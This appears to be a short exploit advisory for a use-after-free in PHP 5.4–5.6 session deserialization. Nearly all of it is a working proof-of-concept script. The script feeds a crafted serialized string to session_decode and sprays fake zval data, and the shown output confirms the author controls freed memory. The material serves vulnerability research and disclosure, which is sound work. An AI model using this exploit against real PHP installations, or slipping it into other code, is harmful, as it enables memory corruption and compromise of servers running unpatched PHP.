PHP 5.6 / 5.5 / 5.4 Session Deserialized Use-After-Free

                                                The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.

```
<?php

session_start();

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "x00x00x00x00";
$fakezval .= "x01";
$fakezval .= "x00";
$fakezval .= "x00x00";

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}

var_dump($_SESSION);

function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
["ryat"]=>
NULL
["chtg"]=>
array(1) {
[0]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
}
```